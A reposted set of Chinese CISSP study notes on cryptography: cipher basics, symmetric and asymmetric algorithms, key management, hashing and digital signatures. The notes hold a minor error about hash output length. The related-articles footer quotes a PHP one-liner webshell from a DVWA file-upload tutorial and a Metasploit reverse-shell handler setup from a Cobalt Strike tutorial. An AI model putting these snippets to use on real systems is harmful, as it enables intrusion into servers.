CBK-D2-安全與架構工程.md

CBK-D2-安全與架構工程

密碼學和對稱密鑰算法

密碼通信的基礎知識

明文P-plaintext、加密encrypt、密文C-ciphertext、解密decrypt、密鑰Key
多數情況下,密鑰無非是一個極大的二進制數
每一種算法都有一個特定密鑰控制key space,是一個特定的數值范圍
密鑰空間由位大小bit size決定,是密鑰內二進制位0和1的數量
密碼術
創建和執行秘密代碼和密碼的技藝
密碼分析
如何打敗代碼和密碼
密碼數學
代價函數從耗費成本和或時間的角度衡量破解所需的代價
代碼作用于單詞和短語,而密碼作用有字符、位和塊
替換密碼–頻率分析
多表替換-周期分析的二階式頻率分析
單詞密本–替換密碼
如果使用得當是不可破解的
1.單次密本必須隨機生成
2.單次密本必須處于物理保護之下,以防泄露
3.每個單次密本必須只使用一次
4.密鑰必須至少與將被加密的消息一樣長
大多數現代加密算法都執行某類塊密碼

私鑰密碼系統

密碼可為已存儲(靜態)、通過網絡傳送(傳輸中/動態)和存在于內存(使用中/處理中)的敏感信息提供保密性、完整性、身份認證和不可否認性

密碼學的基本目標

1.保密性
對稱密碼系統
使用一個共享秘密密鑰
非對稱密碼系統
使用單獨組合的公鑰和私鑰
2.完整性
確保數據沒有在未經授權的情況下被更改
消息的完整性可使用數字簽名,在消息傳輸時創建
完整性保障由公鑰和私鑰系統提供
3.身份認證
挑戰-應答身份認證協議
4.不可否認性
由公鑰或非對稱密鑰提供

現代密碼學

通過復雜算法和長密碼密鑰來實現密碼學的目標
對稱加密算法
1.密鑰分發是問題,通常帶外交換
2.不提供不可否認性
3.算法缺乏可擴展性,無法用于多人之間
4.必須經常重新生成
5.運算速度快,比非對稱算法快1000~10000倍,本身更適合硬件執行
非對稱加密算法
公鑰加密,私鑰解密
私鑰加簽,公鑰驗簽
運算速度緩慢,通常使用混合密碼傳輸大量數據
提供保密性、完整性、身份驗證、不可否認性
哈希算法
哈希函數無法推導消息本身
存在哈希碰撞
一個哈希函數為兩個不同消息產生相同哈希值

幾種常見的對稱密碼系統

GCM、CCM同時包含了保密性和數據真實性
經過驗證的加密模式
ECB,CBC,CFB,OFB和CTR模式只提供了保密性
未經驗證的模式
美國1977年發布數據加密標準DES
2001年12月被高級加密標準取代
64位塊密碼,5種運行模式-ECB,CBC,CFB,OFB,CTR
一次性在64位明文上進行計算生成64位密文
使用密鑰長度56位,8位是奇偶校驗位,但是實踐中很少使用到
16輪加密
國際數據加密算法IDEA
良好隱私PGP安全郵件軟件包
64位明文/密文塊上執行128位密鑰運算,被分解成52個16位子密鑰
Blowfish
64位塊上運行
允許密鑰長度變化,從32位到448位
作者開放軟件許可
已被許多商用軟件產品和操作系統采用
Skipjack
美國政府托管加密密鑰
64位塊運行,80位密鑰,支持4種運行模式
美國財政部和NIST
Rivest Ciphers
Ron Rivest創建的對稱密碼,稱為RC家族,RC4,RC5,RC6
RC4 1987年開發,
只進行一輪加密,使用40-2048位長度可變密鑰
被集成到WEP,WPA,SSL,TLS等,導致WEP,WPA,SSL目前不符合現代安全標準
TLS也不再允許把RC4用作流密碼
RC5 與RC4完全無關,塊大小可變,密鑰0~2040位,被認為是RC2的改進版
RC6是RC5的下一版開發的塊密碼,128位塊大小,128、192、256位對稱密鑰
高級加密標準AES
2001年11月 NIST發布AES/Rijndael
允許使用3中密鑰強度:128,192,256位
只允許處理128位塊,加密輪數取決于所選密鑰長度
對稱密鑰管理
密鑰管理實踐規范
1.秘密密鑰的創建
2.分發
3.存儲
4.銷毀
5.恢復
6.托管
創建和分發密鑰
線下分發-受制于地理位置遙遠
公鑰加密
Diffie-Hellman 密鑰交換算法
存儲和銷毀對稱密鑰
絕不將加密密鑰與被加密數據保存在同一個系統
敏感密鑰,考慮安排兩個人各持一半片段
基于軟件的密鑰存儲,引入軟件機制造破壞的風險
基于硬件的密鑰管理設備,復雜且成本高,能提供額外的保護
密鑰托管和恢復
公平密碼系統

####### 密鑰被分成兩個或多個片段,每個片段交給一個獨立的第三方托管

####### 政府部門在得到合法授權后可以出示法庭命令證明,獲取組合密鑰

托管加密標準

####### 向政府或另一個授權代理提供了解密密文得技術手段–專門針對Clipper芯片提出的

####### N之取M的授權代理

托管密鑰的合法用途

####### 密鑰恢復代理RA recovery agent

####### 預防密鑰丟失,相關人員離職等恢復密鑰

密鑰生命周期

除單次密本以外,所有密碼系統的使用壽命都是有限的
安全專業人員在挑選加密算法時,必須重視密碼生命周期
1.規定機構可接受的密碼算法,如AES,RSA和3DES
2.根據被傳輸信息的敏感性,識別可與每種算法配套使用的可接受密鑰長度
3.枚舉可用的安全交易協議,如TLS
如果是為最近啟動的業務系統選用安全密鑰,沒必要擔心10年后的密鑰安全性
如果是設計建造比原子彈還危害大的武器,有必要考慮10年后的保密性,比如考慮量子密碼

PKI和密碼應用

公鑰密碼系統-非對稱密碼

公鑰和私鑰
公鑰可通過不受保護的通信自有共享
公鑰系統使用的密鑰必須比私鑰系統更長,才能產生同等的強度
RSA
1977年發明,2000年公開
Merkle-Hellman算法,1984年被破解
密鑰強度:對稱128位=RSA3072位=橢圓曲線256位
ElGamal
對Diffie-Hellman的擴展,1985年
加密信息都被加長了一倍,不適合大量數據加密
橢圓曲線
ECC,1985年提出,密碼強度強
Diffie-Hellman密鑰交換
和RSA類似都是由素數數學原理支撐
是公鑰密碼的例子,
本身不是加密協議,而是密鑰交換協議
依賴于大素數的使用
量子密碼
當前僅限于理論研究,如果出現會導致量子霸權
帶來更新、更復雜的密碼算法
實驗室已開發量子密鑰分發QKD執行方案,尚未實用
量子計算可能已在密碼分析攻擊中秘密出現了
目前的密碼算法的大量級加密可暫抵御量子霸權

哈希函數

消息摘要
是提取一條可能會比較長的消息,然后從消息內容中派生一個唯一的輸出值
消息摘要為128位或更長
密碼哈希函數的5個基本要求
輸入可以任意長度
輸入固定長度
哈希計算對任何輸入都相對容易
哈希函數是單向的
哈希函數抗碰撞
幾乎不可能找到可產生相同哈希值的兩條消息
可以修改傳輸過程中的哈希值和消息,比較難實現
需要截取消息并修改消息
獲取加密公鑰或加簽私鑰,重新生成新消息,中間人攻擊可以?
幾種常見的哈希算法
安全哈希算法SHA
SHA2性能優于SHA3,也優于MD5
SHA2有4個變體-sha256,sha224, sha512,sha384
消息摘要5 MD5
如今不是那么安全,建議SHA2
RIPE消息摘要 RIPEMD
RIPE-160至今被認為是安全的,和RIPEMD-320一樣
基于哈希的消息身份認證碼HMAC
哈希值長度可變
可變長度哈希HAVAL
MD5修改版
使用1024位塊,產生128,160,192,224,256位長度哈希值

數字簽名

兩個目的
1.可提供不可否認性保障
2.可抵御惡意篡改和無意改動,即完整性
是公鑰加密法和哈希函數的組合作用
不僅可用于消息,還可用來鑒別從互聯網下載的代碼

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/19168.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/19168.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/19168.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數字圖像處理系列 | 線性濾波(高斯濾波)(3)

我們知道了什么是 線性平移不變系統是在做卷積操作 之后,我們發展出了一些非常簡單的 線性濾波, 去增強圖片,提取圖片特征 文章目錄 1. 卷積如何在離散圖片中工作的Vis 原圖和mask做卷積時發生了什么首先,如何得到 (i.j)位置的卷積…

操作系統中的內存管理

虛擬內存 操作系統會提供一種機制,將不同進程的虛擬地址和不同內存的物理地址映射起來。如果程序要訪問虛擬地址的時候,由操作系統轉換成不同的物理地址,這樣不同的進程運行的時候,寫入的是不同的物理地址,這樣就不會沖…

Python 技能提升(一)

python注釋規范 # Add commit for you codes. # The proper addition of comments is so beautiful.from abc import abstractmethoddef add(a: int, b: int) -> int:# You can write some necessary notes here.# Such as the role of functions, the types and roles of …

Slurm集群使用基礎

Introduction 我們在做生物信息分析時,對于大規模的上游數據的處理,一般需要在大型服務器或集群上進行。我最早接觸并使用的是一個基于SLURM調度系統的集群,在此記錄一下基礎使用方法。 高性能計算集群(High-Performance Comput…

React 使用JSX或者TSX渲染頁面

02 Rendering with JSX Your first JSX content In this section, we’ll implement the obligatory " Hello, World " JSX application. At this point, we’re just dipping our toes in the water; more in-depth examples will follow. We’ll also discuss wh…

vs code中編寫c++基本使用以及問題總結

vs code基本使用以及總結 launch.json作用 這個文件配置了調試器的設置,允許你定義如何啟動和調試你的程序。這包括配置執行路徑、傳遞給程序的參數、環境變量以及特定語言或框架的調試器選項。 常用配置 "version": "0.2.0": 這是配置文件…

kotlin基礎之協程

Kotlin協程(Coroutines)是Kotlin提供的一種輕量級的線程模型,它允許我們以非阻塞的方式編寫異步代碼,而無需使用回調、線程或復雜的并發API。協程是一種用戶態的輕量級線程,它可以在需要時掛起和恢復,從而有…

安卓中的圖片壓縮

安卓中如何進行圖片壓縮? 在安卓中進行圖片壓縮通常有以下幾種方法: 質量壓縮: 通過降低圖片的質量來減小文件大小。這可以通過Bitmap的compress()方法實現,其中可以設置壓縮質量(0-100)。 ByteArrayOutputStream baos…

【滲透測試】|文件上傳

1、安裝使用蟻劍 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陸dvwa,進入初級文件上傳&#xff0c;上傳一句話木馬文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 執行命令的函數 //ccit:一句話木馬文件的參數…

滲透測試工具Cobalt strike-2.CS基礎使用

三、結合metasploit,反彈shell 在kali中開啟使用命令開啟metasploit msfconsole ┌──(root?oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

[10] CUDA程序性能的提升 與 流

CUDA程序性能的提升 與 流 1. CUDA程序性能的提升 在本節中,我們會看到用來遵循的基本的一些性能來提升準則,我們會逐一解釋它們1.1 使用適當的塊數量和線程數量 研究表明,如果塊的數量是 GPU 的流多處理器數量的兩倍,則會給出最佳性能,不過,塊和線程的數量與具體的算法…

什么是訪問控制漏洞

什么是AC Bugs&#xff1f; 實驗室 Vertical privilege escalation 僅通過隱藏目錄/判斷參數來權限控制是不安全的&#xff08;爆破url/爬蟲/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 訪問robots.txt 得到隱藏目錄&#xff0c;訪問目錄 &#xff0c;…

基于Visual Studio版本的AI編程助手

Visual Studio 是一個出色的 IDE,可用于構建適用于 Windows、Mac、Linux、iOS 和 Android 的豐富、精美的跨平臺應用程序。 使用一系列技術(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)構建豐富。 1、安裝 點擊上方工具欄拓展選項,選擇管理拓展選項 接著在聯機頁面中搜索&q…

基于51單片機的室內空氣質量檢測-仿真設計

本設計是基于單片機的空氣質量檢測設計&#xff0c;主要實現以下功能&#xff1a; 可實現通過SGP30測量二氧化碳及甲醛濃度&#xff0c;當超過設置的最大值時&#xff0c;進行報警及通風和凈化空氣處理 可實現通過MQ-4測量甲烷濃度&#xff0c;當超過設置的最大值時&#xff0…

壓力測試JMeter

壓力測試JMeter 1 下載JMeter1.1 測試計劃1.2 JMeter Address Already in use 錯誤解決1.3 java 內存模型1.4 jconsole與jvisualvm1.5 優化方向1.6 Nginx動靜分離 1 下載JMeter 官網地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 運行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 關注“少安事務所”公眾號&#xff0c;歡迎?收藏&#xff0c;不錯過精彩內容~ 前傾回顧 前面介紹了“光環”數據庫的基本情況和安裝辦法。 哈嘍&#xff0c;國產數據庫&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安裝指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代碼隨想錄訓練營Day 43|力扣343. 整數拆分、96.不同的二叉搜索樹

1.整數拆分 代碼隨想錄 視頻講解&#xff1a;動態規劃&#xff0c;本題關鍵在于理解遞推公式&#xff01;| LeetCode&#xff1a;343. 整數拆分_嗶哩嗶哩_bilibili 代碼&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分數字i所獲得的最大乘積為d…

景源暢信:抖音小店如何開櫥窗?

在當今數字化時代&#xff0c;社交媒體平臺不僅僅是人們交流和分享生活的工具&#xff0c;更成為了商家們展示和銷售產品的重要場所。抖音作為一款流行的短視頻社交應用&#xff0c;其內置的電商功能——抖音小店&#xff0c;為眾多商家和個人提供了便捷的在線銷售途徑。其中&a…

使用NuScenes數據集生成ROS Bag文件:深度學習與機器人操作的橋梁

在自動駕駛、機器人導航及環境感知的研究中&#xff0c;高質量的數據集是推動算法發展的關鍵。NuScenes數據集作為一項開源的多模態自動駕駛數據集&#xff0c;提供了豐富的雷達、激光雷達&#xff08;LiDAR&#xff09;、攝像頭等多種傳感器數據&#xff0c;是進行多傳感器融合…

Go語言 gRPC 簡述

參考文章 grpc-我們為什么要用gRpc&#xff1f;gRpc快在哪里&#xff1f;_grpc 優點-CSDN博客 GRPC詳解-CSDN博客 1. 什么是gRPC gRPC 是一個高性能 遠程調用(RPC)框架&#xff0c;屏蔽分布式計算中的各種調用細節&#xff0c;可以像本地調用一樣調用遠程的函數。 2. 為什么要…